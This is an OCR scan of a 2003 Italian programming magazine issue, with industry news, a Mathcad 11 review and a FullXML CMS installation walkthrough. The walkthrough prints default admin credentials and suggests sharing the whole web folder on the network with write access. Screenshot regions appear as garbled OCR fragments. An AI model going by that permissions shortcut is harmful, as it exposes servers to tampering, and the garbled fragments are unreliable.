Borland ha rilasciato la 
Enterprise Studio per lo 
sviluppo di applicazioni su 
piattaforma .Net 

Borland Enterprise Studio per C++ si 
va ad aggiungere a Borland 
Enterprise Studio for Java nella nuova 
linea di piattaforme di sviluppo per le 
imprese che, per la prima volta, copro- 
no ben sei settori dello sviluppo: appli- 
cation development, testing, deploy- 
ment, definition, design e change mana- 
gement. 



Borland italia ™^— 


,~ 


im\ ...... | ..... | »,.~ | ™. 1 ...,.«.. | _ |«-„„. 

Borland Solution Products 




.33 

Together» 

Editi ori for J Builder» 


Optimizeit Profiler 

for the Microsoft' .NET Framewnrk 




8B ™k.. 8 H«. |^ =S «-»^™™»^-l.«-»» 




Develop. 

KyliK 
OntirwEit Profilar 


Deploy. 

AppCenter 


Integrate. 

CORBA 


■...«.» ■'.■■■-■ « 




Bjrl-nd® C.pyialve "99+2(.03 Bodand S.ftaare Comoialidn rulli i diritti 


erJ : | n < t , m - l|on|LeaJ |, ,,„■■«, 









Le nuove suite mirano a realizzare codi- 
ce robusto attraverso fasi di sviluppo 
iterative, incrementali e di durata relati- 
vamente breve. 

Il tutto con strumenti che consentano 
una stretta collaborazione fra chi pro- 
getta un applicativo sulla base delle 
necessità dell'utente e chi lo realizza 
effettivamente, senza prediligere un 
ambiente operativo (Java, .Net e via 
dicendo) rispetto ad altri. 
Sono sei le fasi del ciclo di vita dell'ap- 
plicazione coperte dai moduli di 
Enterprise Studio: la definizione e il 



monitoraggio dei requisiti di un proget- 
to (con CaliberRM), il disegno dell'appli- 
cazione (con Together), lo sviluppo vero 
e proprio, il test (con Optimizeit), il 
deployment e - infine - la gestione tra- 
sversale di tutte le fasi precedenti (con 
StarTeam). 

L'attività di sviluppo è legata a più pro- 
dotti, perché Borland mantiene un 
approccio "agnostico" e si rivolge al 
mondo Java con JBuilder e a quello 
Windows con C++Builder Studio. 
Per .Net, sono disponibili ora i frutti del 
cosiddetto Project Sidewinder, un 
ambiente di sviluppo basato sul lin- 
guaggio C#. 

Tool diversi anche per la fase di deploy- 
ment: l'application server Borland 
Enterprise Server, il database Java "leg- 
gero" JDataStore, VisiBroker per l'am- 
biente Corba e il database InterBase. 



www.borland.it 



Ripartono 
li ObjectWay 
ducation Day 



Un'occasione per chi vuole 
tenersi aggiornato sulle più 
avanzate tecniche di 
programmazione 

ObjectWay S.p.A. società di 
consulenza e formazione IT,ha 
presentato il nuovo calendario eventi: 
ObjectWay Education Day. Le giornate 
formative, rivolte a figure di Project 
Manager, Architetti, Sviluppatori, e 
Amministratori di rete, si svolgeranno 
a Milano e Roma fino alla fine di 
giugno e saranno focalizzati sui vari 
ambiti di competenza di ObjectWay. 
In particolare in area UML, J2EE, .NET, 
Web Services, Processo Unificato, 
Linux, SQL e Oracle database. "L'idea 
di realizzare delle giornate formative 
specialistiche è dettata dall'attenzione 
che da sempre ObjectWay University 
dedica ai bisogni e alle necessita' della 
propria clientela. Il riconoscimento 
datoci dai clienti (Banca Sella, 
Ericsson, Banca Popolare di Milano, 
per citare alcuni dei più importanti ) è 
legato ai contenuti proposti nei nostri 
corsi, che risponde esattamente alle 
loro necessità perchè provati in 



10 ►►► M a g g 



3 



http:// www. itportal.it 



w 



w 



svariati progetti a livello nazionale." 
commenta Elena Baldi, Sales Manager 
Education. 



http://www.objectway.it/events/EducationDays03 

/default, htm 



XML è troppo difficile! 

Troppo complesso per i 
programmatori, secondo uno 
degli autori 

Tini Bray, uno degli autori delle 
specifiche originarie di XML 1 .0 ha 
recentemente dichiarato in una nota 
sul suo sito di non essere pienamente 
soddisfatto di XML, spiegando come la 
sua ultima esperienza di scrittura di 
codice per la modifica di XML sia stata 
"irritante, dispendiosa in termini di tempo 
e incline a errori. La comunità tecnica è 
divisa su XML, mentre la comunità anti- 
XML ha a disposizione numerosi siti per 
manifestare le loro posizioni..." 

www.tbray.org 



Microsoft lascia 
il tavolo dei Web 
Services all'interno 
del W3C 

Disaccordi insanabili 
potrebbero sancire la fine di 
un sogno 

Nei mesi passati IBM e Microsoft si 
sono scontrate più volte con gli altri 
partecipanti al gruppo di lavoro sui Web 
Services interno al Wide Web Consortium 
(W3C). I due giganti erano stati accusati 
di voler esercitare una influenza eccessi- 
va sulle linee guida degli standard, al 
punto che IBM non è mai entrato nel 
gruppo del W3C. Microsoft ha posto fine 
alla querelle andando via e sbattendo la 
porta. Va ricordato che Microsoft era 
stata fra i fondatori del gruppo ed erano 
state proprio le sue ricerche nel campo 
dell'interoperabilità fra applicazioni a 
dare il "la" allo sviluppo dei Web 
Services. Microsoft, IBM e BEA avevano 
già scritto le loro specifiche per i Web 
Services, ma non erano ancora state sot- 
toposte al vaglio del W3C. 
Microsoft fa sapere che il W3C non è l'u- 



nica sede in cui potersi accordare sugli 
standard. Questa vicenda segna comun- 
que una brutta battuta d'arresto per l'a- 
vanzata dei Web Services come piattafor- 
ma standard per lo sviluppo di applica- 
zioni sistribuita. 



Sun chiede 
l'integrazione delle 
specifiche per Java 

Sun promette una riduzione 
dei costi di sviluppo per web 
service basati sulle 
specifiche JBI 

Sun Microsystems ha lanciato una 
proposta alla Java Community 
Process per l'adozione di uno standard 
che permetterà di ridurre i costi di 
sviluppo per web services basati su 
Java. Secondo l'azienda, l'adozione 
delle Java Business Integration 
specification (JBI) permette agli 
sviluppatori di integrare e di 
sviluppare web services in maniera 
facile, attraverso l'implementazione di 
un'architettura pluggable open-ended. 
JBI, un container di sviluppo per 
l'integrazione business, incorpora 
l'integrazione a numerosi standard 
industriali e ad elementi proprietari 
attraverso l'uso di interfacce 
standardizzate. Secondo Mark 
Bauhaus, vice presidente di Sun Java 



Web Services, "Questa architettura di 
integrazione può aiutare gli sviluppatori 
ad una più veloce, facile e poco costosa 
integrazione del business e dei sistemi 
legacy, integrandoli ed eseguendoli in 
maniera virtuale dappertutto" . 



www.sun.com 





sun.CDir HowTDBuvlwvajn -'«11*03 ììes bearsi- Q 


1 ^^^^i^Bt- fl| -*■ P ! 'oducts Si Services 


Sun Developer Network 


n M 

JavaOne'^^H 


-*Key Resources -»Products and Technology 






m s .. 

Related 


jWiblavaWebSerwtes 
Su,, OHE Application 



VOLASMS ACTIVEX 2.0 

GTN, ha di recente 
annunciato la nuova release 
di VolaSMS ActiveX 2.0, 
l'ambiente di 
programmazione che 
sviluppa applicazioni che 
inviano e ricevono SMS 

Rilasciata la nuova versione, destinata 
a software house e programmatori, 
dell'ambiente di programmazione che 
consente di inserire, con sorprendente 
rapidità ed efficienza, funzioni di invio 
SMS in applicazioni create con la maggior 
parte dei linguaggi di programmazione. 
La versione 2.0 introduce la nuovissima 
funzione di AutoResponder per i messag- 
gi ricevuti: al semplice ricevimento di un 
SMS, il server risponde al mittente con il 
messaggio predefinito il cui testo può 
essere gestito direttamente dall'applica- 
zione creata con VolaSMS ActiveX. Tra le 
caratteristiche che contraddistinguono la 
nuova versione da quella precedente si 
evidenzia un netto miglioramento del 
supporto Proxy/ Firewall, perfettamente 
compatibile con la gestione Proxy di 
Internet Explorer versione 5.0 o superiore. 
E stata, inoltre, migliorata la libreria degli 
errori di run-time, rendendoli più com- 
prensibili al contesto e viene garantita la 
piena compatibilità del linguaggio con la 
versione 6.0 di Delphi. Il programma di 
setup di VolaSMS ActiveX 2.0 è stato 
migliorato e soprattutto alleggerito rag- 
giungendo il "peso" di soli 665 Kb. 
VolaSMS ActiveX è un componente com- 
patto e versatile, che consente a software 
scritti in vari ambienti di programmazio- 
ne, tra cui Visual Basic, Visual C++, 
Access, Delphi, di inviare SMS utilizzan- 
do l'efficiente gateway Vola.it di GTN. 
VolaSMS ActiveX rappresenta una solu- 
zione efficace anche in tutte le applicazio- 
ni web based in ambiente Microsoft US. 

http://www.vola.it 



http:// www. itportal.it 



M 



9 9 



3 ►►► 11 



w 



w 



Intel Centrino 
per Linux 



Intel svela i piani per il 
supporto del suo processore 
Centrino su piattaforma 
Linux. 

I laboratori Intel non hanno ancora 
terminato la fase di test per rilascio 
di un supporto Linux al processore 
Centrino, il chip in bundle che include 
un processore Pentium M, denominato 
Banias, e un chip dedicato alle 
comunicazioni wireless. Per il 
supporto delle caratteristiche su 
piattaforma Linux, Intel ha intenzione 
di mettere a disposizione della 
comunity Open Source gli opportuni 
driver. "Intel ha testato Linux su un 
sistema mobile basato su tecnologia 
Centrino nei suoi laboratori" , ha 
rivelato Scott McLaughlin, portavoce 
dell'azienda, aggiungendo: "I tempi di 
rilascio e le caratteristiche finali si 
baseranno sulla domanda degli utenti, 
ma -prevediamo il completo supporto di 
Centrino su Linux" . Ricordiamo che 
Intel è tra gli investitori di Red Hat, ha 
lavorato per assicurare il supporto di 
Linux per i processori in arrivo. La 
rivale AMD (Advanced Micro Devices) 
ha fatto lo stesso, e conta di 
completare il supporto alla 
piattaforma Linux per fare in modo 
che gli utenti di questa piattaforma 
possano avantaggiarsi dei benefici 
derivanti dalle caratteristiche del suo 
nuovo processore Opteron a 64bit. 
I driver saranno rilasciati in accordo 
con la General Public License (GPL), 
per essere utilizzati e modificati da 
tutti gli utenti. 

www.intel.com 



Eutron Picodisk Tech 

È il nuovo dispositivo USB 
compatto e portatile in grado 
di contenere fino a 256 MB di 
dati formattati come su un 
normale hard disk. 

Abbandonando l'utilizzo dei floppy, 
e' ora possibile gestire qualsiasi tipo 
di file in lettura e scrittura direttamente 



su Picodisk Tech; e' sufficiente inserire il 
dispositivo nella porta USB del compu- 
ter e un nuovo disco sarà subito disponi- 
bile elencato tra le risorse del sistema. 




Un utile dispositivo per la 
Memorizzazione e il trasferimento di 
dati multimediali, l'archiviazione e il 
successivo utilizzo di dati contabili, file 
CAD, Word, Excel, immagini, MP3 ecc. 
trasferimento di dati tra PC Desktop, 
Notebook, Mac. 

Il prodotto PicoDisk è attualmente 
disponibile in quattro modelli: 

• PicoDiskTech, realizzato al 100% in 
territorio italiano 

• PicoDiskCrypto, l'unico disponibile 
sul mercato con crittografia AES, PIN 
e PUK di protezione 

• PicoDiskEasy, driverless e con capa- 
cità fino a 1GB 

• BioPico, con riconoscitore biometrico 
dell'impronta digitale per il controllo 
dell'accesso ai dati 




Caratteristiche: 

• Capacità: versioni disponibili da 64- 
128-256 MB. 

• Dimensioni ridotte: 64x15x7 mm. 

• Portabilità: Non sono necessari cavi o 
batterie di alimentazione. 

• Semplicità di utilizzo: Plug&Play sulla 
porta USB. 



• Affidabilità: riscrivibile fino a 1 milio- 
ne di volte, mantiene fedele il conte- 
nuto fino a 10 anni 

• Funzionante su sistemi 
Windows / MAC / Linux 

http://www.eutron.it 

Waitec DVD- HT60 

Un nuovo DVD Player in casa 
WAITEC: sintonizzatore 
stereo AM/FM integrato e 
sistema Dolby Sourround 
5.1, impossibile resistergli 

Il nuovissimo WAITEC DVD-HT60 è un 
sistema DVD completo di sistema AC3 
& Dolby Sorround 5.1 amplificato per 
una potenza totale di 120 Watt ripartiti 
su 6 speakers (4 satelliti, un centrale ed 
un sub woofer) forniti in dotazione. 
Tre le funzioni interessanti di questo 
prodotto troviamo un sintonizzatore 
stereo AM/FM che permette di ascoltare 
e memorizzare le stazione radiofoniche 
preferite oltre alla compatibilità verso 
tutti i formati audio CD e Mp3. 



kniji 



DVD-HT60 di WAITEC è inoltre dotato 
anche di un telecomando leggero, 
completo e di semplice utilizzo. 
Grazie al prezzo estremamente 
concorrenziale, questo DVD receiver 
spingerà sicuramente gli appassionati di 
film a riflettere sull'enorme vantaggio di 
poter vedere, comodamente in poltrona a 
casa propria, un film con gli stessi effetti 
cinematografici, il tutto con un 
investimento economico davvero 
irrisorio. 

Anche il DVD-HT60, come tutti i 
prodotti WAITEC, è corredato dalla 
consueta garanzia di 2 anni on-site, 
assicurata dal sito www.waitec.it, nuovo 
nella grafica e nei contenuti. 

www.waitec.it 



12*** M 



9 9 



3 



http:// www. itportal.it 



► ► ► ► ► ► ► ► ► ► ► IL SOFTWARE SUL CD 

»II Software 
di ioProgrammo 

Mathcad 11 _ 

Una soluzione completa per la ricerca e la documentazione in ambito matematico 




Mathcad rappresenta da anni uno dei 
più diffusi software per il calcolo 
scientifico, utilizzato in tutto il mondo e a 
tutti i livelli. Coniugando semplicità e po- 
tenza, Mathcad si pone a metà strada fra un 
programma di calcolo ed un word processor 
orientato alla produzione di testi scientifici. 
Le funzioni sono dunque tantissime ma, 
grazie ad un approccio sicuramente indovi- 
nato, anche i nuovi utenti riescono subito ad 
essere produttivi. Basta cominciare a digita- 
re qualche formula per entrare in confiden- 
za con il tool: possiamo posizionare il curso- 
re su qualsiasi punto della pagina e, una vol- 
ta scritta una equazione, la vedremo "vive- 
re" sotto i nostri occhi! Le formule, che si rie- 
scono a scrivere proprio come faremmo con 
un foglio di carta ed una penna, non sono 
quindi delle semplici scritte ma tengono 
conto dei valori assegnati, istante per istan- 
te, alle variabili presenti nelle formule stesse. 
Mathcad consente dunque la risoluzione sia 
numerica che simbolica delle più complesse 
equazioni. Aperto verso altre applicazioni 
Grazie al pieno supporto per OLE 2, Math- 
cad consente una forte integrazione con altre 
applicazioni Windows: particolarmente for- 
te è il legame con Autocad ed Excel. Il lavo- 
ro congiunto con Excel può essere davvero 
esaltante, se si pensa alla visualizzazione di 
formule in modo leggibile (e non come una 



astrusa successione di parentesi!) e alla pos- 
sibilità di generare grafici di livello assoluta- 
mente professionale. Tra le funzionalità me- 
glio costruite di Mathcad si possono anno- 
verare i numerosi formati grafici disponibili 
che possono essere arricchiti di numerosi ef- 
fetti, tutti utilissimi alla migliore compren- 
sione della funzione rappresentata. La flessi- 
bilità e la ricchezza di elementi non vanno a 
discapito della semplicità di utilizzo: chiun- 
que può ottenere risultati eccellenti in pochi 
minuti. In particolare, le funzioni di nebbia e 
di prospettiva riescono a rendere in modo 
esemplare l'effetto di tridimensionalità della 
figura, così come la possibilità di posiziona- 
re un numero indefinito di punti luce rende 
possibile la visualizzazione di grafici anche 
molto complessi. 





f[x,y):=4-x 
A:= 








A= 24.019 1| 









Fig. 3: Integrali doppi: un esempio di 
risoluzione numerica. 



RISOLUZIONE 
SIMBOLICA E NUMERICA 

La risoluzione di espressioni matematiche è 



2 2 
ffx,y) := 4 - x - y 







4 -+0 -30 -20 -10 " 



sempre stato uno dei cavalli di battaglia di 
Mathcad. In questa nuova versione è stato 
migliorato il trattamento per le equazioni al- 
le differenziate parziali, così come è stata 
estesa la compatibilità con i numeri com- 
plessi anche nelle funzioni di comparazione. 
Sia nella scrittura delle equazioni, che nel 
momento della risoluzione, quello che colpi- 
sce è la piacevole sensazione di essere "assi- 
stiti" nel proprio lavoro: Mathcad riesce in- 
somma ad essere un compagno fedele nelle 
nostre peripezie matematiche. Estrema cura 
è stata inoltre dedicata al calcolo marciale: la 
semplicità nella immissione dei dati e la pos- 
sibilità di collegare gli stessi a fonti esterne 
(sono supportati nativamente gli strumenti 
di misura della National Instruments) si 
sposano ad una notevole ricchezza di stru- 
menti di analisi. Abbiamo già detto che 
Mathcad si presenta come strumento ideale 
per la impaginazione di pubblicazioni scien- 
tifiche e, il pieno supporto per il formato 
Word è una prova della flessibilità del tool. 
Inoltre, Mathcad permette di pubblicare di- 
rettamente su Web, come pagina HTML, i ri- 
sultati delle nostre ricerche. Questa funzio- 
ne, unita alla tecnologia proprietaria Math- 
ML, oltre alla semplice visualizzazione, con- 
sente una vera e propria condivisione dei 
documenti che, una volta pubblicati, posso- 
no ancora essere riutilizzati e modificati a 
distanza, semplificando così il lavoro in 
team. In ogni caso, non siete costretti a fi- 
darvi delle nostre paroleO), potrete decidere 
da soli e con calma se Mathcad fa al caso vo- 
stro: installate il pacchetto che trovate nel 
CD, e avrete trenta giorni di tempo per va- 
lutarne la bontà. 



Fig. 1: La stessa funzione può essere rappresentata in più grafici contemporaneamente. 



Mathcad 11 

Produttore: Mathsoft 
www.rnathsoft.com 
Distribuito in Italia da: GMSL S.r.l. 
www.gmsl.it 

Prezzo: per singola licenza C 1.000,00 
Licenza educational C 499,00 
File sul 1° CD: \Mathcad 



http ://www.itport al.it 



9 9 



3 ►►► 13 



F T W A 



FullXML 

il Content Management Open Source 



Fullxml è un software Open Source, rilasciato con licenza GPL, per 
il Content Management, scritto interamente in ASP e basato su 
XML. In questa review vedremo come installarlo e cominciare a crea- 
re un proprio sito grazie all'ottima consolle di amministrazione. 
Il progetto è stato varato nell'Ottobre del 2001; attualmente, dal sito 
Internet di John Roland, creatore del progetto, è possibile scaricare la 
versione 2.3 beta, mentre l'ultima versione stabile è la 2.0.5. È a 
tu tt' oggi pianificata una versione 3 le cui novità più rilevanti saran- 
no un nuovo formato XML per il miglioramento delle performance 
ed il supporto ai più comuni database (MySQL, Access e SQL Server). 
Secondo le parole di John Roland, Fullxml è un Web Portai System 
istantaneo. L'obiettivo è quello di avere un sito Web che automatizzi 
la distribuzione di notizie e contenuti. Le principali caratteristiche 
del sistema comprendono: amministrazione basata su interfaccia 
Web, possibilità di inserire sondaggi, statistiche di accesso con con- 
tatore delle visite (funzionalità per la quale abbiamo constatato, 
però, dei bug come descritto nel paragrafo "La procedura di installa- 
zione"), box personalizzabili dall'utente, un manager dei temi grafi- 
ci, una GUI "amichevole" per l'amministrazione, un sistema di mo- 
derazione dei contenuti, una pagina che permette di registrare i Re- 
ferrers (siti che inseriscono un link al nostro), un motore di ricerca, la 
possibilità di registrare utenti ed autori dei contenuti. Fullxml è scrit- 
to per l'80% in XSL e per il 20% in ASP e non viene richiesto il sup- 
porto per alcun database, dato che tutte le informazioni vengono re- 
gistrate in file XML: senz'altro una caratteristica di rilievo a favore 
della portabilità della soluzione, a dispetto di quel 20% di codice pro- 
prietario Microsoft. 

Molto nutrita la schiera delle localizzazioni, dall'inglese, al francese, 
al cinese, al croato, al vietnamita, al russo... passando naturalmente 
per una localizzazione in italiano. Fra le componenti opzionali, me- 
rita una nota almeno JMail (prelevabile dalla sezione di download 
del sito), un plug-in che rende possibile l'invio e la ricezione di e- 
mail direttamente dal sito senza la necessità di utilizzare un client di 
posta elettronica come Eudora, Exchange o Outlook. È disponibile 
una versione speciale di Fullxml compatibile con l'offerta gratuita di 
hosting di Brinkster (http://ioivw.brinkster.comf), che mi permetto di 
giudicare il miglior servizio di hosting gratuito di pagine ASP pre- 
sente sul mercato. 

La sezione di troubleshooting del sito Fullxml.com (http://wiow.ful- 
lxml.com/default. asp?id=ll&mnu=ll) ci informa inoltre di problemi le- 
gati al limite massimo di 102,399 byte per i campi di una form (pro- 
blema peraltro ben noto dal sito di supporto della Microsoft) e a pos- 
sibili messaggi di errore utilizzando JMail. 



LA PROCEDURA DI INSTALLAZIONE 

In linea di principio, si pensava che l'installazione fosse quanto di 
più semplice al mondo: scompattare il file Fullxml beta 23.zip sca- 
ricato dal sito sotto C:\Inetpub\wwwroot, e caricare nel proprio 
browser la pagina default. asp... Eseguendo questa procedura, otte- 
niamo, voilà!, la pagina di errore mostrata in Fig. 1. Un rapido esa- 
me del codice che generava l'errore ed una visita alle FAQ del sito 



File Modifica > enti Strumenti 



\*\ \É 5» | P Cerea ^Preferiti ^Multimedia | g- ^ g J ^ *j 



Indirizzo |s] http://localhost/Fullxml%20beta7o2Q2.3/default.a 



Impossibile visualizzare la pagina 



Si è verificato un problema a livello 4~i\à "■■-;-.::",a che si desidei 



Please try the follo wing; 






• Fare clic sul pulsante Aaaiorna o 


riprovar 


più tardi. 


■ Aprire la localhost home oaae e 


arcare i 


collegamenti alle 


inr o :-:-!-, ,-s?:of:: ■:! s S : d ■■ i •-'■' s .-.. 






HTTP 500.100 - Errore interno del serve 


r - error 


5 ASP 


Internet Information Services 







li tecniche (per il pei 



a del supporto tecnico) 



Tipo di errore: 

Oggetto Server, ASP 0177 (0x8O0401F3) 

Stringa dell'interfaccia non valida. 

/Pulitemi beta 2.3/Engine/xmlfunctions.asp, line 15 

Tipo di browser: 

Mozilla/4.0 (compatitile; MSIE 6.0; Windows NT 5.1j 

Q312461) 



Fig. 1: Fullxml richiede qualche opzione di configurazione 
preliminare... 



ci ha permesso di appurare che era necessaria qualche operazione 
preliminare. In primo luogo, l'installazione del Microsoft XML 
Parser 4.0, scaricabile da http://msdn.microsoft.com/downloads/de- 
fault.asp?url=/downloads/sample.asp?url=/msdn-files/027/001/766 
/msdncompositedoc.xml, sulle cui classi Fullxml si basa per la crea- 
zione dei file XML che costituiscono i vari archivi. Si è verificato il 
corretto funzionamento con la versione in inglese del Microsoft 
XML Parser 4.0, a dispetto del fatto che il sistema operativo (Win- 
dows XP Professional) fosse in italiano. Una seconda pagina di er- 




Generale Condivisione | Condizione Web | Personalizza | 




ì locale e protezione — 
Per condividere questa cartella con gli ajtri utenti dej 
computer., trascinarla nella cartella \ 

Per rendere questa cartella e le relative sottocartelle 
private per l'accesso esclusivo, selezionare la seguente 



V Rendi la cartella privata 



Condivisione di rete e protezione' 

J Per condivìdere la Gaitella con gli utenti di rete e gli altri 



j_i j utenti del computer, selezionare la prima casella e 
immettere un nome di condivisione. 

|7 Condividi la cartella in rete 

Nome condivisione: iFullwmlbeta 2.3 

W Consenti agli utenti di rete di modificare i file 



Ulteriori informazioni su 



Fig. 2: E necessario attribuire i permessi di lettura/scrittura alle 
directory del sito. 



14 ►►► M a g g 



3 



http ://www.itport al.it 



F T W 



rore, questa volta generata dal programma e dal maggiore conte- 
nuto informativo, ci ha informato che era necessario impostare i 
permessi di lettura /scrittura sulle cartelle Db e Media. Per chi si 
trovasse ad operare con Windows XP, il modo più veloce e sempli- 
ce per abilitare i permessi (almeno per un'installazione di test) con- 
siste nel condividere direttamente l'intera cartella che ospita il si- 
to: click col tasto destro, dunque, sulla cartella stessa (che, lo ricor- 
diamo, deve essere posta sotto C:\Inetpub\wwwroot, ovvero in ese- 
cuzione sotto US), comando Condivisione e Protezione..., e, nella 
scheda Condivisione, applicare il segno di spunta alle voci "Condi- 
vidi la cartella in rete" e "Consenti agli utenti di rete di modificare ifile" 
(Fig. 2). Dopo queste operazioni preliminari, caricando nel brow- 
ser la pagina http:jjlocalhostlFidlxmlBeta_23jdefault.asp, abbiamo fi- 
nalmente la Home Page del nostro sito (Fig. 3). 













Q,.di,„. - p S @ «SI; '•*- ti' 


>•"" «J— • 


» €> 1 0- èj b • U © -lì 






..»,„. . h»,:»l.„lh.«„.ll,.l-,. 2 .b,„-,.202.»d,„.l,.„ 






la- 


^legamenti » 


Iyour ÌFullxml website 


<£ullXML/> 

the free xml/asp w 


elusiti e rr 


^ 




home 


sr™-° 






f 


H^^^^ 


1 


1 ■ 




100% r Yes 

VOTE! | 




ite, P-Oduct. 




Mairi article: 


s; ;:; s =;;„■"£•.";- ;t„;t; ■— ■ - "' - '-■- 





Fig. 3: La Home Page del sito di test. 

Esaminando la Home Page notiamo, ahimè, già un primo bug nel 
programma: segnalare due visitatori per la pagina di test è sicura- 
mente indice di una non perfetta gestione delle sessioni. 

IL CONTENT MANAGEMENT DEL SITO 

Siamo pronti per collegarci alla pagina di amministrazione (Fig. 
4), utilizzando lo Username "full" e la password "xml": natural- 
mente, come consiglia il sito stesso, è opportuno modificare que- 
sti valori di default. Nel momento in cui ci logghiamo con que- 
ste credenziali, un messaggio di warning ci avvisa che siamo au- 
tenticati col ruolo di amministratore, e che finché utilizziamo 
questo account di default chiunque è in grado di modificare i 
contenuti del nostro sito. Clicchiamo su uno dei quadrati rossi, 
ognuno dei quali è relativo ad uno dei template che compongo- 
no la pagina, ad esempio quello a lato del sondaggio (Survey), o 
in alternativa il link Administration: si aprirà la consolle di am- 
ministrazione vera e propria (Fig. 5), tramite la quale è imme- 




diato cambiare il nome del sondaggio, le pagine in cui compare, 
la posizione nelle pagine e le domande che costituiscono il son- 
daggio. Dalla sezione Tutorials (http://wivzv.fullxml.com/default 
.asp?id=5&mnu=5) apprendiamo come creare una nuova skin per 
il sito: occorre, anzitutto, creare una sottocartella nella cartella 
"skins", il cui nome sarà anche il nome della nuova skin. Occor- 
re poi scaricare il file http://www.fullxml.com /media /downloads 
/skins/newskin.zip ed estrarlo nella cartella testé creata. Ci trove- 
remo di fronte a due file: page.xsl che contiene la struttura della 
pagina ed il foglio di stile, e skin.xsl nel quale verrà memorizza- 
to il design di ogni parte del sito. E possibile editare questi file, 
per poi modificare l'HTML delle pagine in modo da adattarsi al 
nuovo design. Per quel che riguarda la modifica dei template 
contenuti nel file skin.xsl, si faccia riferimento alla sezione Tuto- 
rials per il loro elenco. Nella consolle di amministrazione occor- 
re poi cliccare sull'icona Settings, nel gruppo Main, e cambiare il 
valore della skin al nome che abbiamo dato alla cartella. Ora che 
cominciamo a prendere confidenza con la consolle di ammini- 
strazione, è il momento di provare a fare qualche modifica al si- 
to di esempio. 



File Modifica Visualizza Preferiti Strumenti ? 


^Indietro • Q - [^1 L*] 5 /'cerca «^Preferiti ^Multimedia g- gj __ " □ & ■"-$ 


! dr^o ■■■ . ■■ .■ . ■ .■ ' ■ . . ■ :~~;m^~*i 


__ Website Ad ministrato r 


Main 


% Surveys manager 


Add-ans 


%-d 


Survey name: sample survey 




5urvey5 


Associated webpage: |hOITie 


3 




Quotano ns 


Position: | Lefl 


3 






m 


Question: Ljke the new dfre j gri ? 






Answer 1 y eg 






Pitture:, 


Vote : 1 






m 


Answer 2: Ua 






Votes : 






m 


Ansner3: 1 doni care 






Votes ; 






Banner. 


AnsM.e.4: 






D g 


Vote, : 






Answer 5: 






Direct or ies 

@ 

Downloads 
Moderatian 


Votes : 

OK | Cantei | 




Delete | 


5tats 










Help 








Operatone complete"? 









La pagina di amministrazione del sito di test 



Fig. 5: La consolle di amministrazione vera e propria, cuore del 
nostro sistema di Content Management 



Proviamo, ad esempio, a modificare la scrollbar delle News. Clic- 
chiamo sul quadratino rosso a destra della stessa, per aprire la 
voce relativa nella consolle di amministrazione. Nel form relati- 
vo, andiamo a modificare il titolo associato alle News, ed il corpo 
della notizia, espresso come HTML. Settiamo poi una data di 
scadenza per la notizia stessa. Come è possibile notare dalla Fig. 
6, queste semplici operazioni ci permettono di modificare in ma- 
niera radicale il banner scorrevole delle notizie. Se poi proviamo 
a modificare la data di sistema oltre il periodo di scadenza, sem- 
plicemente l'intero "pezzo" di pagina che contiene il banner 
scorrevole non verrà visualizzato... un sistema di Content Ma- 
nagement che presta il fianco a ben poche critiche! Di passaggio, 
notiamo come i codici HTML preimpostati siano fortemente 
orientati alla visualizzazione con Internet Explorer: sarà compi- 
to del content manager assicurare, se necessario, la compatibilità 
cross-browser. 



http ://www.itport al.it 



9 9 



3 ►►► 15 



F T W A 



■ « a. 



u> 



your Fullxml website 





Fig. 6: Con poche e guidate modifiche nella consolle di 
amministrazione abbiamo modificato radicalmente il banner 
scorrevole delle News. 



AGGIUNGERE UNA NUOVA PAGINA 
AL SITO 

Ora che cominciamo a capire la filosofia della consolle di ammi- 
nistrazione, proviamo ad aggiungere una nuova pagina al no- 
stro sito. All'uopo, clicchiamo sul link "Adi a page" che si trova 
nel menu: proveremo così ad aggiungere una pagina facilmente 
raggiungibile dalla Home Page. 

Notiamo dalla consolle di amministrazione che le categorie im- 
postate sono due, Menu e Member Area; accettiamo il default Me- 
nu che ci viene proposto, mentre specifichiamo la Home Page co- 
me "parent page" . Diamo un titolo alla pagina, e riempiamo il 
campo "Edito" con il codice HTML che provvedere a visualiz- 
zarla. La nostra attenzione viene attirata dalla voce "Show advan- 
ced fields" presente nella finestra di Content Management; sco- 
priamo un insieme di voci che ci permettono di specificare link 
esterni per la pagina, il frame in cui verrà visualizzata, i margi- 
ni, lo status per quel che riguarda la moderazione della pagina, 
per citare solo le principali voci. Giusti gli obiettivi di un buon 
sistema di Content Management, è presente una voce "Publica- 
tion" che indica se la pagina verrà pubblicata sul sito, o se andrà 
aggiunta all'elenco delle pagine, senza pubblicarla, per ulteriori 
revisioni. In ogni momento è possibile visualizzare l'elenco e lo 
stato delle pagine cliccando sulla voce "Pages" nella scheda Main 
della consolle di amministrazione. Impostiamo a "Yes" la voce 
Publication; se necessario, anche qui possiamo impostare una da- 
ta di scadenza oltre la quale la nostra pagina non verrà visualiz- 
zata. 









1 e 


Qlnd,e,,o -Q-gg i\, Cerca ■{, P-efent, ^ .dt.med.a ^ | - ^ gj 


- D * * 






Indirizzo httpif/lQcdhost/FullxmlBeta 2.3AleFault.asp?Aa=15SECT=M2 




-IH» I~j 


menti » 


{jìJ Website Administrator 






- 


Main 1 1 rf^\ i a i 1 n 1 ■ ■ i 










W 








km Id Pacetitle Cateao-v 


«■«w «p r me MENU 








m 

a 











3J ; |/w^^<*"" el -^H'J#-a 




Jn|x| 
* 


■ ' 


/FullxmlBeta_2.3/default.a 5 p?id-2f m nL-l 


zia» 


Collegamenti » 


IyoueI Fuflxml website 


fullXML/> 




i 






the f ree xml/c 


sp website m. 


=j 




home > Articolo su Fullxml per ioProgrammo B 






p^^fo'r' 


||S; SIS 5! SI .,-." §§| "■ .-. 


r'° 




BQBQSHx, 






Rnì^i,'si"tS,7Si'iim;"',sssS 


-".■.. 






; ,SSi"„" ~ ' , : ■ "■: 








" ■ ::. '■■""■ .".:;■; .:::: : '■" '" '.'■■: : ' v:.::::"::\:U:::\:~":~::., ■'■ ■ 


™ì"o di 






;'„°S:™i n ì' 




ssaggi 







Fig. 8: La pagina appena pubblicata: in ogni momento, un clic 
sul consueto quadratino rosso a lato del titolo ci permette di 
tornare alla consolle di amministrazione onde modificare il 
contenuto della pagina 

Tornando alla Home Page del nostro sito, vediamo come è stata 
aggiunta una voce di menu per la pagina appena creata, dalla 
quale è possibile visualizzare la stessa (Fig. 8); un clic sul con- 
sueto quadratino rosso a lato del titolo ci permette, in ogni mo- 
mento, di tornare alla consolle di amministrazione onde modifi- 
care il contenuto della pagina. Procediamo in maniera del tutto 
analoga per aggiungere una pagina alla Member Area; questa 
volta, scegliamo di visualizzare anche, nella pagina che andremo 
